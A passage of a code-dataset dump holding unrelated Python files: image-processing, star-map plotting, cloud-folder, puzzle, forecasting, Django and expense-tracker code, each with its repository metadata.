cv2.imread(\"/Users/krishna/Downloads/original_imgs/hough.jpg\",0)\nimage1=cv2.imread(\"/Users/krishna/Downloads/original_imgs/hough.jpg\")\nimage2=cv2.imread(\"/Users/krishna/Downloads/original_imgs/hough.jpg\")\n\nx=cv2.Canny(image,100,250)\ngradient=1\nthreshold=100.0\n\ndiagonal = int(round(math.sqrt((x.shape[0])**2 + (x.shape[1])**2)))\n\nrho = np.linspace(-diagonal, diagonal, diagonal * 2)\n\ntheta = np.deg2rad(np.arange(0, 360.0, gradient))\ntheta_1 = len(theta)\n\naccumulator = np.zeros((2 * diagonal, theta_1), dtype=np.uint32)\nedges = x > threshold\nidx_y, idx_x = np.nonzero(edges)\n\nfor i in range(len(idx_x)):\n x = idx_x[i]\n y = idx_y[i]\n\n for idx_t, angle in enumerate(theta):\n rho_1 = diagonal+ int(round(x * math.cos(angle) + y * math.sin(angle)))\n accumulator[rho_1, idx_t] += 1\n\nans1=angled(image1, accumulator, theta, rho) \nans2= vertical(image2, accumulator, theta, rho)\n\ncv2.imwrite(\"/Users/krishna/Desktop/project3_cvip/blue_lines.jpg\", ans1)\ncv2.imwrite(\"/Users/krishna/Desktop/project3_cvip/red_lines.jpg\", ans2)\n\n","repo_name":"krishnasehgal/Image-Processing-2","sub_path":"Hough Transform.py","file_name":"Hough Transform.py","file_ext":"py","file_size_in_byte":2486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32058509677","text":"import numpy as np\nimport pandas as pd\nfrom matplotlib import pyplot as plt\nfrom matplotlib.collections import LineCollection, PolyCollection\n\n\nfrom skyfield.api import Star, load, wgs84, N, S, W, E\nfrom skyfield.data import hipparcos, mpc, stellarium\nimport dsos\nimport constellation_bounds\nimport constellation_centers\nfrom skyfield.projections import build_stereographic_projection\nfrom datetime import datetime\nfrom pytz import timezone\n\n# time `t` we use for everything else.\n\nAMS = timezone('Europe/Amsterdam')\nts = load.timescale()\nt = ts.from_datetime(AMS.localize(datetime(1976, 10, 17, 5, 25, 0)))\n# 180 = South 0 = North\ndegrees = 0.0\n\n\namsterdam = wgs84.latlon(52.377956*N, 4.897070*E, elevation_m=28).at(t)\nposition = amsterdam.from_altaz(alt_degrees=90, az_degrees=degrees)\n\n# An ephemeris from the JPL provides Sun and Earth positions.\n\neph = load('de421.bsp')\nsun = eph['sun']\nearth = eph['earth']\nplanet_names = {\n 'mercury': 199,\n 'venus': 299,\n 'mars': 499,\n 'jupiter': 5,\n 'saturn': 6,\n 'uranus': 7,\n 'neptune': 8,\n 'pluto': 9,\n 'moon': 301\n}\nplanets = {name: eph[id] for name, id in planet_names.items()}\n\n# The Hipparcos mission provides our star catalog.\n\nwith load.open(hipparcos.URL) as f:\n stardata = hipparcos.load_dataframe(f)\n\n# DSO's from stellarium\n\nwith open('data/catalog.txt') as f:\n dsodata = dsos.load_dataframe(f)\n\nwith open('data/lines_in_18.txt') as fc:\n constdata = constellation_bounds.load_dataframe(fc)\n\nwith open('data/centers_18.txt') as fc:\n centersdata = constellation_centers.load_dataframe(fc)\n\n# And the constellation outlines come from Stellarium. We make a list\n# of the stars at which each edge stars, and the star at which each edge\n# ends.\n\nurl = ('https://raw.githubusercontent.com/Stellarium/stellarium/master'\n '/skycultures/western_SnT/constellationship.fab')\n\nwith load.open(url) as f:\n consdata = stellarium.parse_constellations(f)\n\nurl2 = ('https://raw.githubusercontent.com/Stellarium/stellarium/master'\n '/skycultures/western_SnT/star_names.fab')\n\nwith load.open(url2) as f2:\n star_names = stellarium.parse_star_names(f2)\n starnames = {hip: name for hip, name in star_names}\n\n\n\ndef generate_constellation_lines(data, polygon=False):\n edges = [edge for name, edges in data for edge in edges]\n edges_star1 = [star1 for star1, star2 in edges]\n edges_star2 = [star2 for star1, star2 in edges]\n xy1 = stardata[['x', 'y']].loc[edges_star1].values\n xy2 = stardata[['x', 'y']].loc[edges_star2].values\n\n if polygon:\n return [xy1]\n else:\n\n # The constellation lines will each begin at the x,y of one star and end\n # at the x,y of another. We have to \"rollaxis\" the resulting coordinate\n # array into the shape that matplotlib expects.\n\n return np.rollaxis(np.array([xy1, xy2]), 1)\n\ndef generate_constellation_borders(data):\n xy1 = pd.DataFrame(columns=['x', 'y'])\n xy2 = pd.DataFrame(columns=['x', 'y'])\n for segm, line in data:\n p1 = []\n p2 = []\n for i, point in enumerate(line.iterrows()):\n if i == 0:\n p1 = [point[1]['x'], point[1]['y']]\n else:\n p2 = [point[1]['x'], point[1]['y']]\n xy1.loc[len(xy2)] = p1\n xy2.loc[len(xy2)] = p2\n p1 = p2\n\n return np.rollaxis(np.array([xy1, xy2]), 1)\n\n# We will center the chart on the comet's middle position.\n\nprojection = build_stereographic_projection(position)\nfield_of_view_degrees = 180.0\nlimiting_magnitude = 6.0\ndso_limit_magnitude = 8.0\n\n# Now that we have constructed our projection, compute the x and y\n# coordinates that each star will have on the plot.\n\nplanetdata = pd.DataFrame(columns=['x', 'y', 'name'])\nfor name, obj in planets.items():\n x, y = projection(earth.at(t).observe(obj))\n planetdata.loc[len(planetdata)] = [x, y, name]\n\nstar_positions = earth.at(t).observe(Star.from_dataframe(stardata))\nstardata['x'], stardata['y'] = projection(star_positions)\n\ndso_positions = earth.at(t).observe(Star.from_dataframe(dsodata))\ndsodata['x'], dsodata['y'] = projection(dso_positions)\n\ncons_borders = earth.at(t).observe(Star.from_dataframe(constdata))\nconstdata['x'], constdata['y'] = projection(cons_borders)\nconstsegments = constdata.groupby('segment')\n\ncons_centers = earth.at(t).observe(Star.from_dataframe(centersdata))\ncentersdata['x'], centersdata['y'] = projection(cons_centers)\n\n# Create a True/False mask marking the stars bright enough to be\n# included in our plot. And go ahead and compute how large their\n# markers will be on the plot.\n\nbright_stars = (stardata.magnitude <= limiting_magnitude)\nmagnitude = stardata['magnitude'][bright_stars]\nmarker_size = (0.7 + limiting_magnitude - magnitude) ** 2.0\n\nbright_dsos = (dsodata.magnitude <= dso_limit_magnitude)\ndso_magnitude = dsodata['magnitude'][bright_dsos]\ndso_size = (0.9 + dso_limit_magnitude - dso_magnitude) ** 2.0\n\n# Time to build the figure!\n\nfig, ax = plt.subplots(figsize=[24, 24])\n\n# Draw Horizon as dashed line\n# 24 points horizon\n\nborder = plt.Circle((0, 0), 1, color='navy', zorder=-2, fill=True)\nax.add_patch(border)\n\n# The horizon the hard way\n# you can just draw a circle\n# horizon = plt.Circle((0, 0), radius=1, transform=ax.transData)\n#horizon = []\n#h0 = projection(amsterdam.from_altaz(alt_degrees=0, az_degrees=0.0))\n#for i in range(1, 73):\n# delta = 5.0\n# current = i * delta\n# h1 = projection(amsterdam.from_altaz(alt_degrees=0, az_degrees=current))\n# horizon.append([h0, h1])\n# h0 = h1\n#\n#ax.add_collection(LineCollection(horizon,\n# colors='#00f2', linewidths=1, linestyle='dashed', zorder=-1, alpha=0.5))\n\n# Draw the constellation lines.\n\nconstellations = LineCollection(generate_constellation_lines(consdata),\n colors='grey', linewidths=1, zorder=-1, alpha=0.5)\nax.add_collection(constellations)\n\n# Draw constellation borders.\nborders = LineCollection(generate_constellation_borders(constsegments),\n colors='black', linewidths=1, zorder=-1, alpha=0.5, linestyles='dashed')\nax.add_collection(borders)\n\n\n# Draw the stars.\n\nax.scatter(stardata['x'][bright_stars], stardata['y'][bright_stars],\n s=marker_size+5, color='black')\n\nax.scatter(stardata['x'][bright_stars], stardata['y'][bright_stars],\n s=marker_size, color='white', alpha=0.75)\n\nax.scatter(planetdata['x'], planetdata['y'],\n s=25, color='green', alpha=0.65)\n\nax.scatter(dsodata['x'][bright_dsos], dsodata['y'][bright_dsos],\n s=dso_size, color='red')\n\n# Finally, title the plot and set some final parameters.\n\nangle = np.pi - field_of_view_degrees / 360.0 * np.pi\nlimit = np.sin(angle) / (1.0 - np.cos(angle))\n\n\nfor i, s in stardata[bright_stars].iterrows():\n if -limit < s['x'] < limit and -limit < s['y'] < limit:\n if i in starnames:\n print(f\"star {starnames[i]} mag {s['magnitude']}\")\n ax.text(s['x'] + 0.004, s['y'] - 0.004, starnames[i], color='white',\n ha='left', va='top', fontsize=5, weight='bold', zorder=1).set_alpha(0.5)\n\nfor i, p in planetdata.iterrows():\n if -limit < p['x'] < limit and -limit < p['y'] < limit:\n ax.text(p['x'] + 0.004, p['y'] - 0.004, p['name'], color='green',\n ha='left', va='top', fontsize=10, weight='bold', zorder=1).set_alpha(0.5)\n\nfor i, d in dsodata[bright_dsos].iterrows():\n if -limit < d['x'] < limit and -limit < d['y'] < limit:\n # print(f\"dso {d['label']} mag {d['magnitude']}\")\n ax.text(d['x'] + 0.004, d['y'] - 0.004, d['label'], color='red',\n ha='left', va='top', fontsize=8, weight='bold', zorder=1).set_alpha(0.5)\n\nfor i, c in centersdata.iterrows():\n if -limit < c['x'] < limit and -limit < c['y'] < limit:\n ax.text(c['x'], c['y'], i, color='white',\n ha='center', va='center', fontsize=35, weight='bold', zorder=1).set_alpha(0.20)\n\nax.set_xlim(-limit, limit)\nax.set_ylim(-limit, limit)\nax.xaxis.set_visible(True)\nax.yaxis.set_visible(True)\nax.set_aspect(1.0)\n\nfont = {\n 'fontsize': 'large',\n 'fontweight': 'normal',\n 'color': 'black',\n 'verticalalignment': 'baseline',\n 'horizontalalignment': 'center'\n}\n\nax.set_title(f\"To the South in Amsterdam on {t.utc_strftime('%Y %B %d %H:%M')} UTC\", fontdict=font)\n\n# clip at the horizon\nhorizon = plt.Circle((0, 0), radius=1, transform=ax.transData)\nfor col in ax.collections:\n col.set_clip_path(horizon)\n# Save.\n\nplt.axis('off')\n#plt.show()\n\nfig.savefig('starmap.png', bbox_inches='tight')\n# , transparent=True, facecolor='#041A40')","repo_name":"bathoorn/starmap","sub_path":"starmap.py","file_name":"starmap.py","file_ext":"py","file_size_in_byte":8633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"44344116348","text":"import requests\n\n\nclass YaUploader:\n def __init__(self, token: str):\n self.token = token\n\n def get_headers(self):\n return {\n 'Content-Type': 'application/json',\n 'Authorization': 'OAuth {}'.format(self.token)\n }\n\n def create_ya_folder(self, folder_name: str):\n url = \"https://cloud-api.yandex.net/v1/disk/resources\"\n headers = self.get_headers()\n params = {\"path\": folder_name}\n response = requests.put(url=url, headers=headers, params=params)\n response.raise_for_status()\n return response.status_code\n # if response.status_code == 201:\n # print(f'Папка создана, {response.status_code}')\n\n def delete_ya_folder(self, folder_name: str):\n url = 'https://cloud-api.yandex.net/v1/disk/resources'\n headers = self.get_headers()\n params = {\"path\": folder_name}\n delete = requests.delete(url=url, headers=headers, params=params)\n return delete.status_code\n\n\n\nif __name__ == '__main__':\n token = ' '# токен к яндекс диску\n uploader = YaUploader(token)\n result = uploader.create_ya_folder('test85')\n result_2 = uploader.delete_ya_folder('test85')\n","repo_name":"Volzhentsev/ADPY46-6","sub_path":"yandex_data.py","file_name":"yandex_data.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2979617814","text":"'''\nA unit fraction contains 1 in the numerator. The decimal representation of the unit fractions with denominators 2 to 10 are given:\n\n1/2\t= \t0.5\n1/3\t= \t0.(3)\n1/4\t= \t0.25\n1/5\t= \t0.2\n1/6\t= \t0.1(6)\n1/7\t= \t0.(142857)\n1/8\t= \t0.125\n1/9\t= \t0.(1)\n1/10\t= \t0.1\nWhere 0.1(6) means 0.166666..., and has a 1-digit recurring cycle. It can be seen that 1/7 has a 6-digit recurring cycle.\n\nFind the value of d < 1000 for which 1/d contains the longest recurring cycle in its decimal fraction part.\n'''\n\ndef sieveprime(n): #Finds all primes less than n\n primes=[True]*(n//2) # We are not checking the even numbers to reduce the number of loops. So we are initializing it with True for all indices because there lies n//2 odd numbers below n\n for x in range(3,int(n**0.5)+1,2):\n if primes[x//2]:\n primes[(x*x)//2::x]=[False]*((n-x*x-1)//(2*x)+1)\n return [2]+[2*i+1 for i in range(1,n//2) if primes[i]]\n\ndef rec(n):\n if n<=7:\n return 3\n primes=sieveprime(n)#Calling the function and reversing the list \n primes.reverse()\n for x in primes:\n z=x//2\n while pow(10,z,x)!=1:\n z+=1\n if x-1==z:\n return x\n\nn=1000\nnum=rec(n)\nprint(\"The longest repeating decimal less than 1000 is \",num)\n\n","repo_name":"cricsion/ProjectEulerSolutions","sub_path":"Problem26.py","file_name":"Problem26.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15209778004","text":"\nSHORT= 550\nLONG =1650\nMARGIN=100\n\nSEPARATOR1=4400\nSEPARATOR2=5300\n\nDECODE=''\n\ndef Decoder(val1,val2):\n if (abs(val1-SHORT) TreeNode:\n \n if not root:\n root = TreeNode( val )\n return root\n \n cur = root\n while cur:\n \n if val > cur.val:\n \n if not cur.right:\n cur.right = TreeNode( val )\n break\n else:\n cur = cur.right\n else:\n if not cur.left:\n cur.left = TreeNode( val )\n break\n else:\n cur = cur.left\n \n return root\n\n\n\n# n : number of nodes in binary tree\n\n## Time Complexity: O( n )\n#\n# The overhead in time is the cost of insertion position finding, which is of O( n )\n\n## Space Complexity: O( 1) \n#\n# The overhead in space is the storage for looping variable, which is of O( 1 ).\n\n\n\ndef inorder_print( node:TreeNode):\n\n if node:\n\n inorder_print( node.left )\n print( f'{node.val} ', end = ' ')\n inorder_print( node.right )\n\n\ndef test_bench():\n\n root = TreeNode(4)\n \n root.left = TreeNode(2)\n root.right = TreeNode(7)\n\n root.left.left = TreeNode(1)\n root.left.right = TreeNode(3)\n \n\n # expected output:\n '''\n 1 2 3 4 5 7\n 1 2 3 4 5 6 7\n 1 2 3 4 5 6 7 8\n 1 2 3 4 5 6 7 8 9 \n '''\n\n\n test_data = [ 5, 6, 8, 9]\n worker = Solution()\n\n for new_node_value in test_data:\n worker.insertIntoBST( root, new_node_value )\n inorder_print( root )\n print()\n\n return\n\n\n\nif __name__ == '__main__':\n\n test_bench()","repo_name":"brianchiang-tw/leetcode","sub_path":"No_0701_Insert into a Binary Search Tree/insert_into_a_binary_search_tree_by_order_rule_iterative.py","file_name":"insert_into_a_binary_search_tree_by_order_rule_iterative.py","file_ext":"py","file_size_in_byte":2570,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"61"} +{"seq_id":"30784552517","text":"from django import forms\nfrom django.db.models import Model\n\nfrom work_order.models import WorkOrderItem\n\n\nclass CreateItemForm(forms.ModelForm):\n class Meta:\n model = WorkOrderItem\n fields = '__all__'\n\n def __init__(self, *args, **kwargs):\n self.request = kwargs.pop('request')\n work_order_id = kwargs.pop('work_id')\n super(CreateItemForm, self).__init__(*args, **kwargs)\n self.fields['work_order'].initial = work_order_id\n","repo_name":"smereddy/MHA","sub_path":"work_order/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2970579348","text":"# Übung 1:\n# Wir wollen mittels Kontrollstrukturen das kleine 1x1 nachbauen\n# Es soll von jeder Zahl von 1 bis 10 das ganze 10er einmal eins gerechnet werden\n# Die Ausgabe von jedem Schritt soll in der Konsole erfolgen\n# \"1 x 1 = 1\"\n#.. \"10 x 10 = 100\"\n\n# Übung 2:\n# FizzBuzz\n# Von 1 bis 100 gezählt\n# Jede Zahl wird auf ihre Teilbarkeit durch 3 und 5 geprüft\n# Falls die Zahl NUR durch 3 teilbar ist soll die Konsole \"Fizz\" ausgeben\n# Falls die Zahl NUR durch 5 teilbar ist soll die Konsole \"Buzz\" ausgeben\n# Falls die Zahl durch 3 und durch 5 teilbar ist soll die Konsole \"FizzBuzz\" ausgeben\n# Falls die Zahl weder durch 3 noch durch 5 teilbar ist soll die Zahl selbst in der Konsole ausgegeben werden\n\n\n\nfor i in range(1,11):\n print(f\"{i}'er Einmaleins:\")\n for j in range(1, 11):\n print(f\"{i} x {j} = {i*j}\")\n print(\"-------------------\")\n \n\nfor i in range(1, 101):\n answer = \"\"\n if i % 3 == 0:\n answer += \"Fizz\"\n if i % 5 == 0:\n answer += \"Buzz\"\n if answer == \"\":\n print(i)\n else:\n print(answer)","repo_name":"ppedvAG/2022-05-09-PythonInhouse","sub_path":"lab02.py","file_name":"lab02.py","file_ext":"py","file_size_in_byte":1066,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71010472513","text":"import numpy as np\n\n# Index references to update array based on elements\nindex_ref = {'A': 0, 'B': 1, 'C': 2, 'D': 3, 0: 'A', 1: 'B', 2: 'C', 3: 'D'}\n# Symbol table toggle the symbols\nsymbol_table = {'<': '>', '>': '<'}\n\n\ndef get_index(l, obj):\n try:\n return l.index(obj)\n except ValueError:\n return None\n\n\ndef set_order(first, second, symbol, names_order):\n \"\"\"Add elements in the priority order (method uses recursion)\n Move and insert elements in the middle of the list when required\n \"\"\"\n if symbol == '<':\n first_ind = get_index(names_order, first)\n second_ind = get_index(names_order, second)\n if first_ind is None and second_ind is None:\n names_order.append(first)\n names_order.append(second)\n elif first_ind is not None and second_ind is not None and first_ind < second_ind:\n pass\n elif first_ind is None and second_ind is not None:\n names_order.insert(second_ind, first)\n elif first_ind is not None and second_ind is None:\n names_order.insert(first_ind+1, second)\n elif symbol == '>':\n set_order(first=second, second=first, symbol=symbol_table[symbol], names_order=names_order)\n\n\ndef puzzle_solver(d_string):\n a = np.chararray((4, 4), unicode=True)\n np.fill_diagonal(a, '=')\n\n conditions = d_string.splitlines()[2:]\n # List to keep the Order of elements\n names_order = list()\n\n # Fill the array with given conditions and set up the order for elements\n for condition in conditions:\n name, index, value = condition[0], None, None\n for ind, val in enumerate(condition[1:]):\n if val in ['<', '>']:\n set_order(name, index_ref[ind], val, names_order)\n a[index_ref[name], ind] = val\n a[ind, index_ref[name]] = symbol_table[val]\n break\n\n # Fill the empty indexes in array using ordered elements\n for index, x in np.ndenumerate(a):\n if not x:\n f_ind = names_order.index(index_ref[index[0]])\n s_ind = names_order.index(index_ref[index[1]])\n a[index] = '<' if f_ind < s_ind else '>'\n\n joined_rows = zip('ABCD', np.apply_along_axis(lambda s: '{}\\n'.format(''.join(s)), axis=1, arr=a))\n\n return ' ABCD\\n{}'.format(''.join([''.join(e) for e in joined_rows]))\n\n","repo_name":"Bhavandla/resume_api-","sub_path":"app/puzzles.py","file_name":"puzzles.py","file_ext":"py","file_size_in_byte":2352,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"70388383234","text":"#!/usr/bin/env python\n# coding: utf-8\n\nimport argparse\nimport logging\nfrom functools import partial\nfrom gc import collect\nfrom pathlib import Path\nfrom typing import Iterable, List\n\nimport numpy as np\nimport pandas as pd\nfrom time import time\nfrom tsfeatures import tsfeatures\n\nfrom fforma.base.trainer import BaseModelsTrainer\nfrom fforma.base import Naive2, ARIMA, ETS, NNETAR, STLM, TBATS, STLMFFORMA, \\\n RandomWalk, ThetaF, NaiveR, SeasonalNaiveR\nfrom fforma.experiments.datasets.business import Business, BusinessInfo\n\n\ndef _transform_base_file(file: str,\n models: Iterable[str],\n feats_to_drop: List[str]):\n \"\"\"Transforms base file.\"\"\"\n\n meta = pd.read_pickle(file)\n\n # Forecasts handling\n forecasts = meta.pop('forecasts') \\\n .filter(items=['unique_id', 'ds'] + list(models)) \\\n .assign(train_cutoff=meta['train_cutoff']) \\\n .replace([np.inf, -np.inf], np.nan)\n forecasts['naive2_forec'] = forecasts['naive2_forec'].fillna(forecasts['naive_forec'])\n for model in models:\n forecasts[model] = forecasts[model].clip(lower=0)\n\n if forecasts.isna().values.mean() > 0:\n raise Exception(f'NAN forecasts found on {file}, please check.')\n\n # Feautures handling\n features = meta.pop('features') \\\n .drop(feats_to_drop, 1) \\\n .assign(train_cutoff = meta['train_cutoff']) \\\n .fillna(0) # Hyndman assumption\n # https://github.com/robjhyndman/M4metalearning/blob/61ddc7101680e9df7219c359587d0b509d2b50d6/R/generate_classif_problem.R#L67\n\n if features.isna().values.mean() > 0:\n raise Exception(f'NAN features found on {file}, please check.')\n\n return meta, forecasts, features\n\ndef main(directory: str, group: str, replace: bool) -> None:\n logger.info('Reading dataset')\n ts = Business.load(directory, group)\n logger.info('Dataset readed')\n seasonality = BusinessInfo[group].seasonality\n\n main_path = Path(directory) / 'business'\n saving_path = main_path / f'fforma_{group}'\n saving_path.mkdir(exist_ok=True, parents=True)\n base_path = main_path / 'base'\n base_path.mkdir(exist_ok=True, parents=True)\n\n # Meta models\n meta_models = {'auto_arima_forec': ARIMA(seasonality),\n 'ets_forec': ETS(seasonality),\n 'nnetar_forec': NNETAR(seasonality),\n 'tbats_forec': TBATS(seasonality),\n 'stlm_ar_forec': STLMFFORMA(seasonality),\n 'rw_drift_forec': RandomWalk(seasonality, drift=True),\n 'theta_forec': ThetaF(seasonality),\n 'naive_forec': NaiveR(seasonality),\n 'snaive_forec': SeasonalNaiveR(seasonality),\n 'naive2_forec': Naive2(seasonality),}\n\n periods = 91\n cutoffs = pd.date_range(end=ts['ds'].max(), periods=periods, freq='W-THU')\n\n for cutoff in cutoffs:\n logger.info(f'============Cutoff: {cutoff}')\n\n file = saving_path / f'cutoff={cutoff.date()}_freq={seasonality}.p'\n if file.exists() and not replace:\n logger.info('File already saved\\n')\n continue\n\n test_cutoff = cutoff + pd.Timedelta(days=seasonality)\n train = ts.query('ds < @cutoff')\n test = ts.query('ds >= @cutoff & ds < @test_cutoff').drop('y', 1)\n\n logger.info('Features...')\n init = time()\n features = tsfeatures(train, seasonality)\n feats_time = time() - init\n logger.info(f'Features time: {feats_time}')\n\n logger.info('Training...')\n init = time()\n model = BaseModelsTrainer(meta_models)\n model.fit(None, train)\n training_time = time() - init\n logger.info(f'Training time: {training_time}')\n\n logger.info('Forecasting...')\n init = time()\n forecasts = model.predict(test)\n forecasting_time = time() - init\n logger.info(f'Forecasting time: {forecasting_time}\\n')\n\n meta = {'features_time': feats_time,\n 'training_time': training_time,\n 'forecasting_time': forecasting_time,\n 'train_cutoff': cutoff,\n 'test_cutoff': test_cutoff,\n 'features': features,\n 'forecasts': forecasts,}\n\n pd.to_pickle(meta, file)\n\n del features, model, forecasts\n collect()\n\n logger.info(f'Forecast finished')\n\n feats_to_drop = ['series_length', 'nperiods',\n 'seasonal_period', 'hurst', 'entropy']\n\n transform = partial(_transform_base_file,\n models=meta_models.keys(),\n feats_to_drop=feats_to_drop)\n\n files = [saving_path / f'cutoff={cutoff.date()}_freq={seasonality}.p' \\\n for cutoff in cutoffs]\n meta, forecasts, features = zip(*[transform(file) for file in files])\n\n meta = pd.DataFrame(meta).sort_values('test_cutoff')\n forecasts = pd.concat(forecasts)\n features = pd.concat(features)\n\n meta.to_csv(base_path / f'meta-{group.lower()}.csv', index=False)\n forecasts.to_csv(base_path / f'forecasts-{group.lower()}.csv', index=False)\n features.to_csv(base_path / f'features-{group.lower()}.csv', index=False)\n\n logger.info('Results saved')\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Base Forecasts for Business Datasets')\n parser.add_argument('--directory', required=True, type=str,\n help='experiments directory')\n parser.add_argument('--group', required=True, type=str,\n help='group (GLB or BRC)',\n choices=['GLB', 'BRC'])\n parser.add_argument('--replace', required=False, action='store_true',\n help='Replace files already saved')\n\n args = parser.parse_args()\n\n logging.basicConfig(level=logging.INFO)\n logger = logging.getLogger(__name__)\n\n main(args.directory, args.group, args.replace)\n","repo_name":"FedericoGarza/fforma","sub_path":"fforma/experiments/business/base_forecasts.py","file_name":"base_forecasts.py","file_ext":"py","file_size_in_byte":6047,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"61"} +{"seq_id":"10909796999","text":"from django.shortcuts import render\n\n\ndef homepage(request):\n \"\"\"главная страница\"\"\"\n\n template = \"homepage/home.html\"\n\n if request.GET.get(\"main_menu\") == \"25\":\n data = {\"easter_egg\": True}\n else:\n data = {}\n\n return render(request, template, data)\n","repo_name":"Demmenty/Treemenu","sub_path":"homepage/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2477542705","text":"import collections\n\nclass Solution:\n def minWindow(self, s: str, t: str) -> str:\n if not s or not t:\n return \"\"\n # len, start, end\n result = (float('inf'), 0, 0)\n l, r = 0, 0\n t_dicts = collections.Counter(t)\n required = len(t_dicts)\n \n cur_window = collections.defaultdict(int)\n formed = 0\n\n while r < len(s):\n char = s[r]\n cur_window[char] += 1\n if char in t_dicts and cur_window[char] == t_dicts[char]:\n formed += 1\n \n while l <= r and formed == required:\n toDel = s[l]\n if r-l+1 < result[0]:\n result = (r-l+1, l, r)\n cur_window[toDel] -= 1\n if toDel in t_dicts and cur_window[toDel] < t_dicts[toDel]:\n formed -= 1\n l += 1\n r += 1\n \n return \"\" if result[0] == float('inf') else s[result[1]: result[2]+1]\n","repo_name":"OhYoooo/Leetcode","sub_path":"python/sliding-window/76.minimum-window-substring.py","file_name":"76.minimum-window-substring.py","file_ext":"py","file_size_in_byte":996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17401286096","text":"# Sort the numbers in an array. But the position of zeros should not be changed.\n\n# Input: A List.\n\n# Output: An Iterable (tuple, list, iterator ...).\n\nfrom typing import Iterable\n\n\ndef except_zero(items: list) -> Iterable:\n \n #Local variables:\n zeroes = []\n outval = []\n \n #Cycle through everything in our input\n for i in range(0, len(items)):#We're using a range here to make sure we get the exact index.\n if items[i] == 0:\n zeroes.append(i) #Keep track of where this is.\n else:\n outval.append(items[i]) #Save all the non-zero numbers\n \n outval.sort()#Sort the output, duh.\n \n for i in zeroes:\n outval.insert(i, 0)#Stick all the zeroes back in where they were.\n \n #Debug calls to make sure we're getting something sane.\n #print(zeroes)\n #print(outval)\n return(outval)\n \n# if __name__ == '__main__':\n# print(\"Example:\")\n# print(list(except_zero([5, 3, 0, 0, 4, 1, 4, 0, 7])))\n\n# # These \"asserts\" are used for self-checking and not for an auto-testing\n# assert list(except_zero([5, 3, 0, 0, 4, 1, 4, 0, 7])) == [1, 3, 0, 0, 4, 4, 5, 0, 7]\n# assert list(except_zero([0, 2, 3, 1, 0, 4, 5])) == [0, 1, 2, 3, 0, 4, 5]\n# assert list(except_zero([0, 0, 0, 1, 0])) == [0, 0, 0, 1, 0]\n# assert list(except_zero([4, 5, 3, 1, 1])) == [1, 1, 3, 4, 5]\n# assert list(except_zero([0, 0])) == [0, 0]\n# print(\"Coding complete? Click 'Check' to earn cool rewards!\")\n","repo_name":"Isaac-D-Dawson/Homework-Uploads","sub_path":"PyCheckIO/sortExceptZero.py","file_name":"sortExceptZero.py","file_ext":"py","file_size_in_byte":1482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3905114873","text":"from mysql.connector import MySQLConnection, Error\nfrom Helper.Database_Config import read_db_config\nimport datetime\nimport Helper.EM_Utility as emu\nimport Models.User\n\napath = None\nuser = None\n\ndef set_config_file_path(path):\n global apath\n apath= path\n\ndef get_config_file_path():\n return apath\n\ndef connect():\n \"\"\" Connect to MySQL database \"\"\"\n\n db_config = read_db_config(get_config_file_path())\n\n try:\n conn = MySQLConnection(**db_config)\n\n if conn.is_connected():\n return conn\n else:\n return None\n\n except Error as e:\n print(e)\n\n# For Registration\ndef insert_new_user(name, email, password):\n if email_exists(email):\n return False\n else:\n db = connect()\n if db == None:\n print('DB connection failed!')\n else:\n current_date = datetime.datetime.now()\n query = 'INSERT INTO user_accounts (name,email,password, date_created, last_login_date)' \\\n 'VALUES (%s,%s,%s,%s,%s)'\n args = (name,email,emu.hash_password(password),current_date,current_date)\n cursor = db.cursor()\n cursor.execute(query,args)\n #print(cursor.lastrowid)\n db.commit()\n cursor.close()\n db.close()\n return True\n\ndef email_exists(email):\n query = 'SELECT email from user_accounts WHERE email = %s'\n args = (email,)\n db = connect()\n cursor = db.cursor()\n cursor.execute(query,args)\n row = None\n row = cursor.fetchone()\n db.commit()\n cursor.close()\n db.close()\n\n if row is not None:\n return True\n return False\n\n# For Login\ndef login_user(email, password):\n if email_exists(email):\n query = 'SELECT * from user_accounts WHERE email = %s'\n args = (email,)\n db = connect()\n cursor = db.cursor()\n cursor.execute(query, args)\n row = None\n row = cursor.fetchone()\n db.commit()\n cursor.close()\n db.close()\n\n if row[2] == emu.hash_password(password):\n global user\n user = Models.User.User(row[0], row[1], row[2], row[3], row[4], row[5], row[6])\n return True\n return False\n\n else:\n return False\n\ndef get_user_id(email):\n if user is not None:\n return user.get_id()\n else:\n return -999\n\ndef record_transaction(transac_type, category, title, description, amount, user_id, current_balance):\n query = 'INSERT INTO user_transactions (transaction_type, category, title, description, amount, date_added, user_id)' \\\n 'VALUES (%s,%s,%s,%s,%s,%s,%s)'\n current_date = datetime.datetime.now()\n args = (transac_type, category, title, description, amount, current_date, user_id)\n db = connect()\n cursor = db.cursor()\n cursor.execute(query,args)\n current_balance = emu.recalc_current_balance(transac_type,amount,current_balance)\n query = \"UPDATE user_accounts SET current_balance = %s WHERE id = %s;\"\n args = (current_balance, user_id)\n cursor.execute(query,args)\n global user\n user.set_current_balance(current_balance)\n # TO DO Refactor the following 3 lines\n db.commit()\n cursor.close()\n db.close()\n\ndef get_all_transactions(user_id):\n response = {\"Expenses\": get_all_expenses(user_id), \"Incomes\": get_all_incomes(user_id)}\n return response\n\ndef get_all_expenses(user_id):\n query = 'SELECT * from user_transactions WHERE user_id 